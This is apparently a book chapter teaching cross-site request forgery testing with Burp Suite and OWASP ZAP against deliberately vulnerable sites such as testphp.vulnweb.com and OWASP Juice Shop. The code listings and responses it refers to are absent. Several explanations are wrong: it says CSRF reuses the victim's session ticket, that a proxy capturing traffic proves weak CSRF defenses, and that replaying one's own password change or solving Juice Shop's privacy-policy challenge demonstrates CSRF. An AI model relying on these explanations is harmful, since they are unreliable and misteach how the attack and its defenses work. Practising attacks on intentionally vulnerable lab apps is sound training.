What Is Cross-Site Request Forgery?

In CSRF, an attacker tricks the browser into doing some unwanted action in a web application to which a user is logged in. Therefore, the user is also tricked because they do not know what is happening behind the curtain. They log into their bank account and get a session ticket. The attacker uses the same session ticket and transfers the funds into his account. The browser and the user both do not know how it happens. While the money is being transferred into the attacker’s account, the browser believes it is perfectly legal because the browser, as a security guard, checks the user’s session cookie and clears it. It is not supposed to know that someone else is riding the same session and entering the bank to transfer money into his account.

For this reason, CSRF is also known as “session riding” or “sea surfing.”

Figure 3-1 shows how it takes place in the real world.

CSRF is typically conducted by using malicious social engineering; the hacker had sent an e-mail or a link to the victim well before. It is impossible for general users to guess that an e-mail has a malicious link that might send a forged request to a bank site. At the same time, the unsuspecting user is authenticated by the bank site, so it is impossible for the bank site to separate a legitimate request from a forged one.

We need to understand another important aspect of HTTP protocol here. HTTP by default is stateless and it renders a stateless HTML page. However, we need some functionality that helps us to change the state when we send an e-mail or transfer money. We remain logged in for awhile. Therefore CSRF attacks target those functionalities that cause a state change on the server. The state change involves actions, such as changing the victim’s e-mail address, password, or purchasing something on the victim’s behalf.

CSRF is mentioned in the OWASP top–10 risks that applications site at present; you can check it just by typing “top ten security risks in web applications” on Google. Any security testing of a web application is considered to be incomplete without checking for CSRF defenses.

Mission Critical Injection of CSRF

Open your Burp Suite community edition and turn the intercept off. Open http://testphp.vulnweb.com and you will find a text box and a submit button. You can type “hello” on it and press the button. It uses a form and uses the HTTP method POST. You can either check the HTML by clicking “view source” or you can use OWASP ZAP response to see the code (we will also use ZAP after Burp).

Now turn Burp’s intercept on and let the traffic flow through Burp (Figure 3-2).

The Burp Suite produces this raw response for us:

Let us close the Burp Suite and http://testphp.vulnweb.com for the time being and open OWASP ZAP in our virtual Kali Linux.

We launch the browser through ZAP and go to http://testphp.vulnweb.com again. This time we type the same “hello” again. Here we have the raw response:

That’s more or less the same response we have received with two different tools. By showing the same response, I wanted to prove one thing: what you can do with Burp Suite, you can also do with OWASP ZAP. The only difference is, in the Burp Community edition in some cases like automated testing, the options are limited. People often buy the professional edition. What I want to emphasize is don’t spend your money, or at least spend it judiciously, because you can do the same things using OWASP ZAP. At least in my long career, whenever I got stuck with Burp, I always solved it with ZAP.

Now we are going to attack http://testphp.vulnweb.com. We will first write HTML code that will post on that web application from a local file.

This file will use a JavaScript state change request inside the HTML form code. Once this HTML page is opened, it shows a “Submit Request” button.

Since we are going to create a proof of concept (PoC), we would click on this button. As a penetration tester or bug bounty hunter, you always have to write the PoC at the end of your findings of vulnerabilities. Be precise in describing what you have done, what you have found, in which way the application is vulnerable, etc. This PoC will play an important role in your entire career; therefore, I encourage you to read other PoCs written by other professionals.

Instead of a button, an attacker will place some fancy or attractive link. A normal user does not know that clicking on such links or button or image might bring trouble for them. The attacker will always try to make such things look normal and authentic.

Let us first see the code:

The JavaScript code uses the browser’s history and pushes the state change request. As you see in the preceding code (code 3.3), we are going to send a value “CSRF” instead of the last value “hello.”

We have saved this HTML code as csrf.html and, keeping the Burp Suite intercept “on,” we open this HTML file on the Firefox browser. Once it is opened, it shows the “Submit Request” button. Click it. The image in Figure 3-3 will show you that the attack is successful.

In the web browser, we can see that the web page of http://testphp.vulnweb.com shows the value “CSRF” instead of “hello”; we have successfully changed the value of the web page. It proves that our JavaScript attacking script has worked properly. We have successfully changed the state of the page.

As a penetration tester or security professional, you should have a working knowledge of HTML, JavaScript, and Python. It helps you a lot. I strongly recommend it.

In Figure 3-3, you clearly see that we have successfully attacked http://testphp.vulnweb.com and submitted a value that is posted on the web application. This shows that the CSRF defenses of http://testphp.vulnweb.com are vulnerable.

We can check the raw response in the Burp Suite.

Other CSRF Attacks

The advantage of such a 0 by 0 image is that it remains in an HTML page as an invisible ghost. When you open up this e-mail, you don’t see the image but the browser will still submit the request to anybanksite.com.

We will see the implementation of such code shortly, in the next section.

How to Discover CSRF on Any Application

As a penetration tester or bug bounty hunter, you will be asked by your client to test the web application to check the CSRF defenses. Is this application vulnerable? Posing as an attacker, you need to find out all the flaws. Can we intercept the password? Can we manually inject JavaScript code into it and change the state?

We have already seen two intentionally vulnerable web applications so far: WebGoat and http://testphp.vulnweb.com. We are going to run our tests on another intentionally vulnerable web application: OWASP Juice Shop. The OWASP Foundation has created this unique ecommerce application. Installing Juice Shop is extremely easy. Go to their GitHub repository: https://github.com/bkimminich/juice-shop. Go to the setup section and you can set up your local Juice Shop using many options available. However, I am telling you the best one.

Open your VirtualBox Kali Linux and download the latest zipped application folder. Unpack the zipped content in your Download directory. After that, use the following code:

Now, your Juice Shop application is running on http://localhost:3000 (Figure 3-4).

It will ask a security question. There are many choices. I have chosen the question: what is your first company? My answer was: ‘MyCompany’.

In the next step, I am going to add the username Sanjib in the profile section. After that, I will change the password in Juice Shop. Will Burp Suite intercept that? Let us try. I have already checked that the traffic to Juice Shop has been processed through Burp Suite.

I have changed the current password P@ssword to password123. In Juice Shop it has successfully been changed. At the same time in Burp Suite I got this response:

Therefore, we have successfully attacked and established that this web application has vulnerabilities; its CSRF defenses are weak (Figure 3-5).

It means, without any difficulties, Burp Suite captured the traffic. If the CSRF defense was strong enough in Juice Shop, Burp Suite could not have captured that easily. Here the output is the clear indication of weakness. Any strong application would not have allowed capturing that data.

In Burp Suite there is an option called Repeater. Using this section, we can try to manipulate any web application and test whether the current password is correct or not. Since it plays back the requests to the server, this tool is called Repeater. We can always manually modify any HTTP request and play the request back to the server to test the responses. We do this to find vulnerabilities.

Just use the second mouse click on Burp Suite response; it will show many options. Choose the Repeater and click (Figure 3-6).

On the left side panel, you can change the current password parameter to pass and click the Go button. You can change it on the top panel of the header section in the Raw tab. After changing the current password to a new password, when we click the Go button, it plays back the request to the server. We have manually modified the HTTP request and tried to force the server to obey our order.

On the right side, it gives you an output like this:

It says the current password is not correct. It is quite obvious, when we logged in, that we changed the password; now we are going to change the password to pass1234. We are going to do the same thing through the Burp Suite Repeater tool. However, this time we will use the correct password.

Now, using the Repeater feature of Burp Suite, we can also change the newly changed password.

On the left panel, change the new password to pass1234 and click the Go button above.

On the right side we have got this response:

As you see in the preceding code, the HTTP status is 200 OK. So it has worked. We have successfully changed the password of the current user while the user is logged in. Once the user is logged out, we can log in with the new password.

Immediately, on the Juice Shop application, our successful attempt to break the CSRF defenses has been reflected. It announces “You successfully solved a challenge: Privacy Policy Tier 1 (Read our privacy policy.)” (Figure 3-7).

Now, we can also inject JavaScript code into the Juice Shop application. If the code changes the password, our mission will be successful.

We can paste this code into the search text box and hit the button. Immediately, in the terminal a message is popped up (Figure 3-8):

info: Solved challenge Privacy Policy Tier 1 (Read our privacy policy.)

In this chapter, we have learned many features of CSRF attacks. But our journey has just begun; the form of attacks is continually changing. Therefore, get involved with the open source resources available on the Internet (OWASP is a very good place). It takes time to get adjusted with all the challenges. In the coming chapter, we will learn about another major challenge: how to defend against Cross-site Scripting (XSS).